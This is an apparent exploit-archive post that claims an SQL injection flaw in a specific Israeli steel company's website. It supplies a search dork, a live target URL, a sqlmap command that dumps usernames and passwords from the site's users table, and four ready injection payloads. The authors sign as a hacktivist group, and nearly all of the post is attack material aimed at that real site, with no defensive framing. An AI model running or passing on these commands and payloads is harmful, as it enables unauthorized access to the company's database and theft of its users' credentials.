# Exploit Title:פלדות אלגר בנגב SQL Injection
# Date:17.05.2019
# Dork :intitle:פלדות אלגר בנגב cat=8&id_category=15
# Exploit Author:Cerkuday &Ergenekon // CyberWarrior TİM AKINCILAR
# Tested on:Windows &Kali Linux
Demo:
http://pladot-elgar.co.il/index2009.php?cat=8&id_category=15'
# Poc:
sqlmap.py -u "http://pladot-elgar.co.il/index2009_eng.php?cat=8&id_category=15" -D pladotel_main -T users -C user,psw --dump
Parameter: id_category (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: cat=8&id_category=14 RLIKE (SELECT (CASE WHEN (9960=9960) THEN 14 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: cat=8&id_category=14 AND (SELECT 6463 FROM(SELECT COUNT(*),CONCAT(0x7162716a71,(SELECT (ELT(6463=6463,1))),0x7171706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cat=8&id_category=14 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: cat=8&id_category=-9332 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7162716a71,0x59765276627863656a436975424a626175674273466a7178506a5a704e5450466e6d5576574b684a,0x7171706b71),NULL,NULL,NULL-- VjXB